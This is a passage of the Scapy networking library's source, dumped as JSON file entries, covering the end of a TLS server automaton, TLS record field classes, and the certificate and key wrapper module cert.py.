client...\")\n\n    @ATMT.condition(SSLv2_CLOSE_NOTIFY_FINAL)\n    def sslv2_close_session_final(self):\n        self.add_record()\n        self.add_msg(Raw('goodbye'))\n        try:\n            self.flush_records()\n        except Exception:\n            self.vprint(\"Could not send our goodbye. The client probably left.\")  # noqa: E501\n        self.socket.close()\n        raise self.FINAL()\n\n    @ATMT.state(stop=True, final=True)\n    def FINAL(self):\n        self.vprint(\"Closing server socket...\")\n        self.serversocket.close()\n        self.vprint(\"Ending TLS server automaton.\")\n"
  },
  {
    "path": "scapy/layers/tls/basefields.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nTLS base fields, used for record parsing/building. As several operations depend\nupon the TLS version or ciphersuite, the packet has to provide a TLS context.\n\"\"\"\nimport struct\n\nfrom scapy.fields import ByteField, ShortEnumField, ShortField, StrField\nfrom scapy.compat import orb\n\n_tls_type = {20: \"change_cipher_spec\",\n             21: \"alert\",\n             22: \"handshake\",\n             23: \"application_data\"}\n\n_tls_version = {0x0002: \"SSLv2\",\n                0x0200: \"SSLv2\",\n                0x0300: \"SSLv3\",\n                0x0301: \"TLS 1.0\",\n                0x0302: \"TLS 1.1\",\n                0x0303: \"TLS 1.2\",\n                0x7f12: \"TLS 1.3-d18\",\n                0x7f13: \"TLS 1.3-d19\",\n                0x0304: \"TLS 1.3\"}\n\n_tls_version_options = {\"sslv2\": 0x0002,\n                        \"sslv3\": 0x0300,\n                        \"tls1\": 0x0301,\n                        \"tls10\": 0x0301,\n                        \"tls11\": 0x0302,\n                        \"tls12\": 0x0303,\n                        \"tls13-d18\": 0x7f12,\n                        \"tls13-d19\": 0x7f13,\n                        \"tls13\": 0x0304}\n\n\ndef _tls13_version_filter(version, legacy_version):\n    if version < 0x0304:\n        return version\n    else:\n        return legacy_version\n\n\nclass _TLSClientVersionField(ShortEnumField):\n    \"\"\"\n    We use the advertised_tls_version if it has been defined,\n    and the legacy 0x0303 for TLS 1.3 packets.\n    \"\"\"\n\n    def i2h(self, pkt, x):\n        if x is None:\n            v = pkt.tls_session.advertised_tls_version\n            if v:\n                return _tls13_version_filter(v, 0x0303)\n            return \"\"\n        return x\n\n    def i2m(self, pkt, x):\n        if x is None:\n            v = pkt.tls_session.advertised_tls_version\n            if v:\n                return _tls13_version_filter(v, 0x0303)\n            return b\"\"\n        return x\n\n\nclass _TLSVersionField(ShortEnumField):\n    \"\"\"\n    We use the tls_version if it has been defined, else the advertised version.\n    Also, the legacy 0x0301 is used for TLS 1.3 packets.\n    \"\"\"\n\n    def i2h(self, pkt, x):\n        if x is None:\n            v = pkt.tls_session.tls_version\n            if v:\n                return _tls13_version_filter(v, 0x0301)\n            else:\n                adv_v = pkt.tls_session.advertised_tls_version\n                return _tls13_version_filter(adv_v, 0x0301)\n        return x\n\n    def i2m(self, pkt, x):\n        if x is None:\n            v = pkt.tls_session.tls_version\n            if v:\n                return _tls13_version_filter(v, 0x0301)\n            else:\n                adv_v = pkt.tls_session.advertised_tls_version\n                return _tls13_version_filter(adv_v, 0x0301)\n        return x\n\n\nclass _TLSLengthField(ShortField):\n    def i2repr(self, pkt, x):\n        s = super(_TLSLengthField, self).i2repr(pkt, x)\n        if pkt.deciphered_len is not None:\n            dx = pkt.deciphered_len\n            ds = super(_TLSLengthField, self).i2repr(pkt, dx)\n            s += \"    [deciphered_len= %s]\" % ds\n        return s\n\n\nclass _TLSIVField(StrField):\n    \"\"\"\n    As stated in Section 6.2.3.2. RFC 4346, TLS 1.1 implements an explicit IV\n    mechanism. For that reason, the behavior of the field is dependent on the\n    TLS version found in the packet if available or otherwise (on build, if\n    not overloaded, it is provided by the session). The size of the IV and\n    its value are obviously provided by the session. As a side note, for the\n    first packets exchanged by peers, NULL being the default enc alg, it is\n    empty (except if forced to a specific value). Also note that the field is\n    kept empty (unless forced to a specific value) when the cipher is a stream\n    cipher (and NULL is considered a stream cipher).\n    \"\"\"\n\n    def i2len(self, pkt, i):\n        if i is not None:\n            return len(i)\n        tmp_len = 0\n        cipher_type = pkt.tls_session.rcs.cipher.type\n        if cipher_type == \"block\":\n            if pkt.tls_session.tls_version >= 0x0302:\n                tmp_len = pkt.tls_session.rcs.cipher.block_size\n        elif cipher_type == \"aead\":\n            tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len\n        return tmp_len\n\n    def i2m(self, pkt, x):\n        return x or b\"\"\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def getfield(self, pkt, s):\n        tmp_len = 0\n        cipher_type = pkt.tls_session.rcs.cipher.type\n        if cipher_type == \"block\":\n            if pkt.tls_session.tls_version >= 0x0302:\n                tmp_len = pkt.tls_session.rcs.cipher.block_size\n        elif cipher_type == \"aead\":\n            tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n    def i2repr(self, pkt, x):\n        return repr(self.i2m(pkt, x))\n\n\nclass _TLSMACField(StrField):\n    def i2len(self, pkt, i):\n        if i is not None:\n            return len(i)\n        return pkt.tls_session.wcs.mac_len\n\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\"\n        return x\n\n    def addfield(self, pkt, s, val):\n        # We add nothing here. This is done in .post_build() if needed.\n        return s\n\n    def getfield(self, pkt, s):\n        if (\n            pkt.tls_session.rcs.cipher.type != \"aead\" and\n            False in pkt.tls_session.rcs.cipher.ready.values()\n        ):\n            # XXX Find a more proper way to handle the still-encrypted case\n            return s, b\"\"\n        tmp_len = pkt.tls_session.rcs.mac_len\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n    def i2repr(self, pkt, x):\n        # XXX Provide status when dissection has been performed successfully?\n        return repr(self.i2m(pkt, x))\n\n\nclass _TLSPadField(StrField):\n    def i2len(self, pkt, i):\n        if i is not None:\n            return len(i)\n        return 0\n\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\"\n        return x\n\n    def addfield(self, pkt, s, val):\n        # We add nothing here. This is done in .post_build() if needed.\n        return s\n\n    def getfield(self, pkt, s):\n        if pkt.tls_session.consider_read_padding():\n            # This should work with SSLv3 and also TLS versions.\n            # Note that we need to retrieve pkt.padlen beforehand,\n            # because it's possible that the padding is followed by some data\n            # from another TLS record (hence the last byte from s would not be\n            # the last byte from the current record padding).\n            tmp_len = orb(s[pkt.padlen - 1])\n            return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n        return s, None\n\n    def i2repr(self, pkt, x):\n        # XXX Provide status when dissection has been performed successfully?\n        return repr(self.i2m(pkt, x))\n\n\nclass _TLSPadLenField(ByteField):\n    def addfield(self, pkt, s, val):\n        # We add nothing here. This is done in .post_build() if needed.\n        return s\n\n    def getfield(self, pkt, s):\n        if pkt.tls_session.consider_read_padding():\n            return ByteField.getfield(self, pkt, s)\n        return s, None\n\n\n# SSLv2 fields\n\nclass _SSLv2LengthField(_TLSLengthField):\n    def i2repr(self, pkt, x):\n        s = super(_SSLv2LengthField, self).i2repr(pkt, x)\n        if pkt.with_padding:\n            x |= 0x8000\n        # elif pkt.with_escape:      #XXX no complete support for 'escape' yet\n        #   x |= 0x4000\n            s += \"    [with padding: %s]\" % hex(x)\n        return s\n\n    def getfield(self, pkt, s):\n        msglen = struct.unpack('!H', s[:2])[0]\n        pkt.with_padding = (msglen & 0x8000) == 0\n        if pkt.with_padding:\n            msglen_clean = msglen & 0x3fff\n        else:\n            msglen_clean = msglen & 0x7fff\n        return s[2:], msglen_clean\n\n\nclass _SSLv2MACField(_TLSMACField):\n    pass\n\n\nclass _SSLv2PadField(_TLSPadField):\n    def getfield(self, pkt, s):\n        if pkt.padlen is not None:\n            tmp_len = pkt.padlen\n            return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n        return s, None\n\n\nclass _SSLv2PadLenField(_TLSPadLenField):\n    def getfield(self, pkt, s):\n        if pkt.with_padding:\n            return ByteField.getfield(self, pkt, s)\n        return s, None\n"
  },
  {
    "path": "scapy/layers/tls/cert.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2008 Arnaud Ebalard <arnaud.ebalard@eads.net>\n#                                   <arno@natisbad.org>\n#   2015, 2016, 2017 Maxence Tury   <maxence.tury@ssi.gouv.fr>\n#   2022-2025        Gabriel Potter\n\nr\"\"\"\nHigh-level methods for PKI objects (X.509 certificates, CRLs, CSR, Keys, CMS).\nSupported keys include RSA, ECDSA and EdDSA.\n\nThe classes below are wrappers for the ASN.1 objects defined in x509.py.\n\nExample 1: Certificate & Private key\n____________________________________\n\nFor instance, here is what you could do in order to modify the subject public\nkey info of a 'cert' and then resign it with whatever 'key'::\n\n    >>> from scapy.layers.tls.cert import *\n    >>> cert = Cert(\"cert.der\")\n    >>> k = PrivKeyRSA()  # generate a private key\n    >>> cert.setSubjectPublicKeyFromPrivateKey(k)\n    >>> cert.resignWith(k)\n    >>> cert.export(\"newcert.pem\")\n    >>> k.export(\"mykey.pem\")\n\nOne could also edit arguments like the serial number, as such::\n\n    >>> from scapy.layers.tls.cert import *\n    >>> c = Cert(\"mycert.pem\")\n    >>> c.tbsCertificate.serialNumber = 0x4B1D\n    >>> k = PrivKey(\"mykey.pem\")  # import an existing private key\n    >>> c.resignWith(k)\n    >>> c.export(\"newcert.pem\")\n\nTo export the public key of a private key::\n\n    >>> k = PrivKey(\"mykey.pem\")\n    >>> k.pubkey.export(\"mypubkey.pem\")\n\nExample 2: CertList and CertTree\n________________________________\n\nLoad a .pem file that contains multiple certificates::\n\n    >>> l = CertList(\"ca_chain.pem\")\n    >>> l.show()\n    0000 [X.509 Cert Subject:/C=FR/OU=Scapy Test PKI/CN=Scapy Test CA...]\n    0001 [X.509 Cert Subject:/C=FR/OU=Scapy Test PKI/CN=Scapy Test Client...]\n\nUse 'CertTree' to organize the certificates in a tree::\n\n    >>> tree = CertTree(\"ca_chain.pem\")  # or tree = CertTree(l)\n    >>> tree.show()\n    /C=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test CA [Self Signed]\n        /C=FR/OU=Scapy Test PKI/CN=Scapy Test Client [Not Self Signed]\n\nExample 3: Certificate Signing Request (CSR)\n____________________________________________\n\nScapy's :py:class:`~scapy.layers.tls.cert.CSR` class supports both PKCS#10 and CMC\nformats.\n\nLoad and display a CSR::\n\n    >>> csr = CSR(\"cert.req\")\n    >>> csr\n    [CSR Format: CMC, Subject:/O=TestOrg/CN=TestCN, Verified: True]\n    >>> csr.certReq.show()\n    ###[ PKCS10_CertificationRequest ]###\n       \\certificationRequestInfo\\\n        |###[ PKCS10_CertificationRequestInfo ]###\n        |  version   = 0x0 <ASN1_INTEGER[0]\n        |  \\subject   \\\n        |   |###[ X509_RDN ]###\n        |   |  \\rdn       \\\n        |   |   |###[ X509_AttributeTypeAndValue ]###\n        |   |   |  type      = <ASN1_OID['organizationName']>\n        |   |   |  value     = <ASN1_UTF8_STRING[b'TestOrg']>\n        [...]\n\nGet its public key and verify its signature::\n\n    >>> csr.pubkey\n    <scapy.layers.tls.cert.PubKeyRSA at 0x7f3481149310>\n    >>> csr.verifySelf()\n    True\n\nNo need for obnoxious openssl tweaking anymore. :)\n\"\"\"\n\nimport base64\nimport enum\nimport os\nimport time\nimport warnings\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.compat import Self\nfrom scapy.error import warning\nfrom scapy.utils import binrepr\nfrom scapy.asn1.asn1 import (\n    ASN1_BIT_STRING,\n    ASN1_NULL,\n    ASN1_OID,\n    ASN1_STRING,\n)\nfrom scapy.asn1.mib import hash_by_oid\nfrom scapy.packet import Packet\nfrom scapy.layers.x509 import (\n    CMS_CertificateChoices,\n    CMS_ContentInfo,\n    CMS_EncapsulatedContentInfo,\n    CMS_IssuerAndSerialNumber,\n    CMS_RevocationInfoChoice,\n    CMS_SignedAttrsForSignature,\n    CMS_SignedData,\n    CMS_SignerInfo,\n    CMS_SubjectKeyIdentifier,\n    ECDSAPrivateKey_OpenSSL,\n    ECDSAPrivateKey,\n    ECDSAPublicKey,\n    EdDSAPrivateKey,\n    EdDSAPublicKey,\n    PKCS10_CertificationRequest,\n    RSAPrivateKey_OpenSSL,\n    RSAPrivateKey,\n    RSAPublicKey,\n    X509_AlgorithmIdentifier,\n    X509_Attribute,\n    X509_AttributeValue,\n    X509_Cert,\n    X509_CRL,\n    X509_SubjectPublicKeyInfo,\n)\nfrom scapy.layers.tls.crypto.pkcs1 import (\n    _DecryptAndSignRSA,\n    _EncryptAndVerifyRSA,\n    _get_hash,\n    pkcs_os2ip,\n)\nfrom scapy.compat import bytes_encode\n\n# Typing imports\nfrom typing import (\n    List,\n    Optional,\n    Union,\n)\n\nif conf.crypto_valid:\n    from cryptography.exceptions import InvalidSignature\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives import serialization\n    from cryptography.hazmat.primitives.asymmetric import rsa, ec, x25519\n\n    # cryptography raised the minimum RSA key length to 1024 in 43.0+\n    # https://github.com/pyca/cryptography/pull/10278\n    # but we need still 512 for EXPORT40 ciphers (yes EXPORT is terrible)\n    # https://datatracker.ietf.org/doc/html/rfc2246#autoid-66\n    # The following detects the change and hacks around it using the backend\n\n    try:\n        rsa.generate_private_key(public_exponent=65537, key_size=512)\n        _RSA_512_SUPPORTED = True\n    except ValueError:\n        # cryptography > 43.0\n        _RSA_512_SUPPORTED = False\n        from cryptography.hazmat.primitives.asymmetric.rsa import rust_openssl\n\n\n# Maximum allowed size in bytes for a certificate file, to avoid\n# loading huge file when importing a cert\n_MAX_KEY_SIZE = 50 * 1024\n_MAX_CERT_SIZE = 50 * 1024\n_MAX_CRL_SIZE = 10 * 1024 * 1024  # some are that big\n_MAX_CSR_SIZE = 50 * 1024\n\n\n#####################################################################\n# Some helpers\n#####################################################################\n\n\n@conf.commands.register\ndef der2pem(der_string, obj=\"UNKNOWN\"):\n    \"\"\"Convert DER octet string to PEM format (with optional header)\"\"\"\n    # Encode a byte string in PEM format. Header advertises <obj> type.\n    pem_string = \"-----BEGIN %s-----\\n\" % obj\n    base64_string = base64.b64encode(der_string).decode()\n    chunks = [base64_string[i : i + 64] for i in range(0, len(base64_string), 64)]\n    pem_string += \"\\n\".join(chunks)\n    pem_string += \"\\n-----END %s-----\\n\" % obj\n    return pem_string\n\n\n@conf.commands.register\ndef pem2der(pem_string):\n    \"\"\"Convert PEM string to DER format\"\"\"\n    # Encode all lines between the first '-----\\n' and the 2nd-to-last '-----'.\n    pem_string = pem_string.replace(b\"\\r\", b\"\")\n    first_idx = pem_string.find(b\"-----\\n\") + 6\n    if pem_string.find(b\"-----BEGIN\", first_idx) != -1:\n        raise Exception(\"pem2der() expects only one PEM-encoded object\")\n    last_idx = pem_string.rfind(b\"-----\", 0, pem_string.rfind(b\"-----\"))\n    base64_string = pem_string[first_idx:last_idx]\n    base64_string.replace(b\"\\n\", b\"\")\n    der_string = base64.b64decode(base64_string)\n    return der_string\n\n\ndef split_pem(s):\n    \"\"\"\n    Split PEM objects. Useful to process concatenated certificates.\n    \"\"\"\n    pem_strings = []\n    while s != b\"\":\n        start_idx = s.find(b\"-----BEGIN\")\n        if start_idx == -1:\n            break\n        end_idx = s.find(b\"-----END\")\n        if end_idx == -1:\n            raise Exception(\"Invalid PEM object (missing END tag)\")\n        end_idx = s.find(b\"\\n\", end_idx) + 1\n        if end_idx == 0:\n            # There is no final \\n\n            end_idx = len(s)\n        pem_strings.append(s[start_idx:end_idx])\n        s = s[end_idx:]\n    return pem_strings\n\n\nclass _PKIObj(object):\n    def __init__(self, frmt, der):\n        self.frmt = frmt\n        self._der = der\n\n\nclass _PKIObjMaker(type):\n    def __call__(cls, obj_path, obj_max_size, pem_marker=None):\n        # This enables transparent DER and PEM-encoded data imports.\n        # Note that when importing a PEM file with multiple objects (like ECDSA\n        # private keys output by openssl), it will concatenate every object in\n        # order to create a 'der' attribute. When converting a 'multi' DER file\n        # into a PEM file, though, the PEM attribute will not be valid,\n        # because we do not try to identify the class of each object.\n        error_msg = \"Unable to import data\"\n\n        if obj_path is None:\n            raise Exception(error_msg)\n        obj_path = bytes_encode(obj_path)\n\n        if (b\"\\x00\" not in obj_path) and os.path.isfile(obj_path):\n            _size = os.path.getsize(obj_path)\n            if _size > obj_max_size:\n                raise Exception(error_msg)\n            try:\n                with open(obj_path, \"rb\") as f:\n                    _raw = f.read()\n            except Exception:\n                raise Exception(error_msg)\n        else:\n            _raw = obj_path\n\n        try:\n            if b\"-----BEGIN\" in _raw:\n                frmt = \"PEM\"\n                pem = _raw\n                der_list = split_pem(pem)\n                der = b\"\".join(map(pem2der, der_list))\n            else:\n                frmt = \"DER\"\n                der = _raw\n        except Exception:\n            raise Exception(error_msg)\n\n        p = _PKIObj(frmt, der)\n        return p\n\n\n#####################################################################\n# PKI objects wrappers\n#####################################################################\n\n###############\n# Public Keys #\n###############\n\n\nclass _PubKeyFactory(_PKIObjMaker):\n    \"\"\"\n    Metaclass for PubKey creation.\n    It casts the appropriate class on the fly, then fills in\n    the appropriate attributes with import_from_asn1pkt() submethod.\n    \"\"\"\n\n    def __call__(cls, key_path=None, cryptography_obj=None):\n        # This allows to import cryptography objects directly\n        if cryptography_obj is not None:\n            obj = type.__call__(cls)\n            obj.__class__ = cls\n            obj.frmt = \"original\"\n            obj.marker = \"PUBLIC KEY\"\n            obj.pubkey = cryptography_obj\n            return obj\n\n        if key_path is None:\n            obj = type.__call__(cls)\n            if cls is PubKey:\n                cls = PubKeyRSA\n            obj.__class__ = cls\n            obj.frmt = \"original\"\n            obj.fill_and_store()\n            return obj\n\n        # This deals with the rare RSA 'kx export' call.\n        if isinstance(key_path, tuple):\n            obj = type.__call__(cls)\n            obj.__class__ = PubKeyRSA\n            obj.frmt = \"tuple\"\n            obj.import_from_tuple(key_path)\n            return obj\n\n        # Now for the usual calls, key_path may be the path to either:\n        # _an X509_SubjectPublicKeyInfo, as processed by openssl;\n        # _an RSAPublicKey;\n        # _an ECDSAPublicKey;\n        # _an EdDSAPublicKey.\n        obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE)\n        try:\n            spki = X509_SubjectPublicKeyInfo(obj._der)\n            pubkey = spki.subjectPublicKey\n            if isinstance(pubkey, RSAPublicKey):\n                obj.__class__ = PubKeyRSA\n                obj.import_from_asn1pkt(pubkey)\n            elif isinstance(pubkey, ECDSAPublicKey):\n                obj.__class__ = PubKeyECDSA\n                obj.import_from_der(obj._der)\n            elif isinstance(pubkey, EdDSAPublicKey):\n                obj.__class__ = PubKeyEdDSA\n                obj.import_from_der(obj._der)\n            else:\n                raise\n            obj.marker = \"PUBLIC KEY\"\n        except Exception:\n            try:\n                pubkey = RSAPublicKey(obj._der)\n                obj.__class__ = PubKeyRSA\n                obj.import_from_asn1pkt(pubkey)\n                obj.marker = \"RSA PUBLIC KEY\"\n            except Exception:\n                # We cannot import an ECDSA public key without curve knowledge\n                if conf.debug_dissector:\n                    raise\n                raise Exception(\"Unable to import public key\")\n        return obj\n\n\nclass PubKey(metaclass=_PubKeyFactory):\n    \"\"\"\n    Parent class for PubKeyRSA, PubKeyECDSA and PubKeyEdDSA.\n    Provides common verifyCert() and export() methods.\n    \"\"\"\n\n    def verifyCert(self, cert):\n        \"\"\"Verifies either a Cert or an X509_Cert.\"\"\"\n        h = _get_cert_sig_hashname(cert)\n        tbsCert = cert.tbsCertificate\n        sigVal = bytes(cert.signatureValue)\n        return self.verify(bytes(tbsCert), sigVal, h=h, t=\"pkcs\")\n\n    def verifyCsr(self, csr):\n        \"\"\"Verifies a CSR.\"\"\"\n        h = _get_csr_sig_hashname(csr)\n        certReqInfo = csr.certReq.certificationRequestInfo\n        sigVal = bytes(csr.certReq.signature)\n        return self.verify(bytes(certReqInfo), sigVal, h=h, t=\"pkcs\")\n\n    @property\n    def pem(self):\n        return der2pem(self.der, self.marker)\n\n    @property\n    def der(self):\n        return self.pubkey.public_bytes(\n            encoding=serialization.Encoding.DER,\n            format=serialization.PublicFormat.SubjectPublicKeyInfo,\n        )\n\n    def public_numbers(self, *args, **kwargs):\n        return self.pubkey.public_numbers(*args, **kwargs)\n\n    @property\n    def key_size(self):\n        return self.pubkey.key_size\n\n    def export(self, filename, fmt=None):\n        \"\"\"\n        Export public key in 'fmt' format (DER or PEM) to file 'filename'\n        \"\"\"\n        if fmt is None:\n            if filename.endswith(\".pem\"):\n                fmt = \"PEM\"\n            else:\n                fmt = \"DER\"\n        with open(filename, \"wb\") as f:\n            if fmt == \"DER\":\n                return f.write(self.der)\n            elif fmt == \"PEM\":\n                return f.write(self.pem.encode())\n\n    @crypto_validator\n    def verify(self, msg, sig, h=\"sha256\", **kwargs):\n        \"\"\"\n        Verify signed data.\n        \"\"\"\n        raise NotImplementedError\n\n\nclass PubKeyRSA(PubKey, _EncryptAndVerifyRSA):\n    \"\"\"\n    Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py\n    Use the 'key' attribute to access original object.\n    \"\"\"\n\n    @crypto_validator\n    def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None):\n        pubExp = pubExp or 65537\n        if not modulus:\n            real_modulusLen = modulusLen or 2048\n            if real_modulusLen < 1024 and not _RSA_512_SUPPORTED:\n                # cryptography > 43.0 compatibility\n                private_key = rust_openssl.rsa.generate_private_key(\n                    public_exponent=pubExp,\n                    key_size=real_modulusLen,\n                )\n            else:\n                private_key = rsa.generate_private_key(\n                    public_exponent=pubExp,\n                    key_size=real_modulusLen,\n                    backend=default_backend(),\n                )\n            self.pubkey = private_key.public_key()\n        else:\n            real_modulusLen = len(binrepr(modulus))\n            if modulusLen and real_modulusLen != modulusLen:\n                warning(\"modulus and modulusLen do not match!\")\n            pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp)\n            self.pubkey = pubNum.public_key(default_backend())\n\n        self.marker = \"PUBLIC KEY\"\n\n        # Lines below are only useful for the legacy part of pkcs1.py\n        pubNum = self.pubkey.public_numbers()\n        self._modulusLen = real_modulusLen\n        self._modulus = pubNum.n\n        self._pubExp = pubNum.e\n\n    @crypto_validator\n    def import_from_tuple(self, tup):\n        # this is rarely used\n        e, m, mLen = tup\n        if isinstance(m, bytes):\n            m = pkcs_os2ip(m)\n        if isinstance(e, bytes):\n            e = pkcs_os2ip(e)\n        self.fill_and_store(modulus=m, pubExp=e)\n\n    def import_from_asn1pkt(self, pubkey):\n        modulus = pubkey.modulus.val\n        pubExp = pubkey.publicExponent.val\n        self.fill_and_store(modulus=modulus, pubExp=pubExp)\n\n    def encrypt(self, msg, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        # no ECDSA encryption support, hence no ECDSA specific keywords here\n        return _EncryptAndVerifyRSA.encrypt(self, msg, t=t, h=h, mgf=mgf, L=L)\n\n    def verify(self, msg, sig, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        return _EncryptAndVerifyRSA.verify(self, msg, sig, t=t, h=h, mgf=mgf, L=L)\n\n\nclass PubKeyECDSA(PubKey):\n    \"\"\"\n    Wrapper for ECDSA keys based on the cryptography library.\n    Use the 'key' attribute to access original object.\n    \"\"\"\n\n    @crypto_validator\n    def fill_and_store(self, curve=None):\n        curve = curve or ec.SECP256R1\n        private_key = ec.generate_private_key(curve(), default_backend())\n        self.pubkey = private_key.public_key()\n\n    @crypto_validator\n    def import_from_der(self, pubkey):\n        # No lib support for explicit curves nor compressed points.\n        self.pubkey = serialization.load_der_public_key(\n            pubkey,\n            backend=default_backend(),\n        )\n\n    def encrypt(self, msg, h=\"sha256\", **kwargs):\n        raise Exception(\"No ECDSA encryption support\")\n\n    @crypto_validator\n    def verify(self, msg, sig, h=\"sha256\", **kwargs):\n        # 'sig' should be a DER-encoded signature, as per RFC 3279\n        try:\n            self.pubkey.verify(sig, msg, ec.ECDSA(_get_hash(h)))\n            return True\n        except InvalidSignature:\n            return False\n\n\nclass PubKeyEdDSA(PubKey):\n    \"\"\"\n    Wrapper for EdDSA keys based on the cryptography library.\n    Use the 'key' attribute to access original object.\n    \"\"\"\n\n    @crypto_validator\n    def fill_and_store(self, curve=None):\n        curve = curve or x25519.X25519PrivateKey\n        private_key = curve.generate()\n        self.pubkey = private_key.public_key()\n\n    @crypto_validator\n    def import_from_der(self, pubkey):\n        self.pubkey = serialization.load_der_public_key(\n            pubkey,\n            backend=default_backend(),\n        )\n\n    def encrypt(self, msg, **kwargs):\n        raise Exception(\"No EdDSA encryption support\")\n\n    @crypto_validator\n    def verify(self, msg, sig, **kwargs):\n        # 'sig' should be a DER-encoded signature, as per RFC 3279\n        try:\n            self.pubkey.verify(sig, msg)\n            return True\n        except InvalidSignature:\n            return False\n\n\n################\n# Private Keys #\n################\n\n\nclass _PrivKeyFactory(_PKIObjMaker):\n    \"\"\"\n    Metaclass for PrivKey creation.\n    It casts the appropriate class on the fly, then fills in\n    the appropriate attributes with import_from_asn1pkt() submethod.\n    \"\"\"\n\n    def __call__(cls, key_path=None, cryptography_obj=None):\n        \"\"\"\n        key_path may be the path to either:\n            _an RSAPrivateKey_OpenSSL (as generated by openssl);\n            _an ECDSAPrivateKey_OpenSSL (as generated by openssl);\n            _an RSAPrivateKey;\n            _an ECDSAPrivateKey.\n        \"\"\"\n        if key_path is None:\n            obj = type.__call__(cls)\n            if cls is PrivKey:\n                cls = PrivKeyECDSA\n            obj.__class__ = cls\n            obj.frmt = \"original\"\n            obj.fill_and_store()\n            return obj\n\n        # This allows to import cryptography objects directly\n        if cryptography_obj is not None:\n            # We (stupidly) need to go through the whole import process because RSA\n            # does more than just importing the cryptography objects...\n            obj = _PKIObj(\n                \"DER\",\n                cryptography_obj.private_bytes(\n                    encoding=serialization.Encoding.DER,\n                    format=serialization.PrivateFormat.PKCS8,\n                    encryption_algorithm=serialization.NoEncryption(),\n                ),\n            )\n        else:\n            # Load from file\n            obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE)\n\n        try:\n            privkey = RSAPrivateKey_OpenSSL(obj._der)\n            privkey = privkey.privateKey\n            obj.__class__ = PrivKeyRSA\n            obj.marker = \"PRIVATE KEY\"\n        except Exception:\n            try:\n                privkey = ECDSAPrivateKey_OpenSSL(obj._der)\n                privkey = privkey.privateKey\n                obj.__class__ = PrivKeyECDSA\n                obj.marker = \"EC PRIVATE KEY\"\n            except Exception:\n                try:\n                    privkey = RSAPrivateKey(obj._der)\n                    obj.__class__ = PrivKeyRSA\n                    obj.marker = \"RSA PRIVATE KEY\"\n                except Exception:\n                    try:\n                        privkey = ECDSAPrivateKey(obj._der)\n                        obj.__class__ = PrivKeyECDSA\n                        obj.marker = \"EC PRIVATE KEY\"\n                    except Exception:\n                        try:\n                            privkey = EdDSAPrivateKey(obj._der)\n                            obj.__class__ = PrivKeyEdDSA\n                            obj.marker = \"PRIVATE KEY\"\n                        except Exception:\n                            raise Exception(\"Unable to import private key\")\n        try:\n            obj.import_from_asn1pkt(privkey)\n        except ImportError:\n            pass\n        return obj\n\n\nclass _Raw_ASN1_BIT_STRING(ASN1_BIT_STRING):\n    \"\"\"A ASN1_BIT_STRING that ignores BER encoding\"\"\"\n\n    def __bytes__(self):\n        return self.val_readable\n\n    __str__ = __bytes__\n\n\nclass PrivKey(metaclass=_PrivKeyFactory):\n    \"\"\"\n    Parent class for PrivKeyRSA, PrivKeyECDSA and PrivKeyEdDSA.\n    Provides common signTBSCert(), resignCert(), verifyCert()\n    and export() methods.\n    \"\"\"\n\n    def signTBSCert(self, tbsCert, h=\"sha256\"):\n        \"\"\"\n        Note that this will always copy the signature field from the\n        tbsCertificate into the signatureAlgorithm field of the result,\n        regardless of the coherence between its contents (which might\n        indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2).\n\n        There is a small inheritance trick for the computation of sigVal\n        below: in order to use a sign() method which would apply\n        to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the\n        subclasses accept any argument, be it from the RSA or ECDSA world,\n        and then they keep the ones they're interested in.\n        Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign().\n        \"\"\"\n        sigAlg = tbsCert.signature\n        h = h or hash_by_oid[sigAlg.algorithm.val]\n        sigVal = self.sign(bytes(tbsCert), h=h, t=\"pkcs\")\n        c = X509_Cert()\n        c.tbsCertificate = tbsCert\n        c.signatureAlgorithm = sigAlg\n        c.signatureValue = _Raw_ASN1_BIT_STRING(sigVal, readable=True)\n        return c\n\n    def resignCert(self, cert):\n        \"\"\"Rewrite the signature of either a Cert or an X509_Cert.\"\"\"\n        return self.signTBSCert(cert.tbsCertificate, h=None)\n\n    def verifyCert(self, cert):\n        \"\"\"Verifies either a Cert or an X509_Cert.\"\"\"\n        return self.pubkey.verifyCert(cert)\n\n    def verifyCsr(self, cert):\n        \"\"\"Verifies either a CSR.\"\"\"\n        return self.pubkey.verifyCsr(cert)\n\n    @property\n    def pem(self):\n        return der2pem(self.der, self.marker)\n\n    @property\n    def der(self):\n        return self.key.private_bytes(\n            encoding=serialization.Encoding.DER,\n            format=serialization.PrivateFormat.PKCS8,\n            encryption_algorithm=serialization.NoEncryption(),\n        )\n\n    def export(self, filename, fmt=None):\n        \"\"\"\n        Export private key in 'fmt' format (DER or PEM) to file 'filename'\n        \"\"\"\n        if fmt is None:\n            if filename.endswith(\".pem\"):\n                fmt = \"PEM\"\n            else:\n                fmt = \"DER\"\n        with open(filename, \"wb\") as f:\n            if fmt == \"DER\":\n                return f.write(self.der)\n            elif fmt == \"PEM\":\n                return 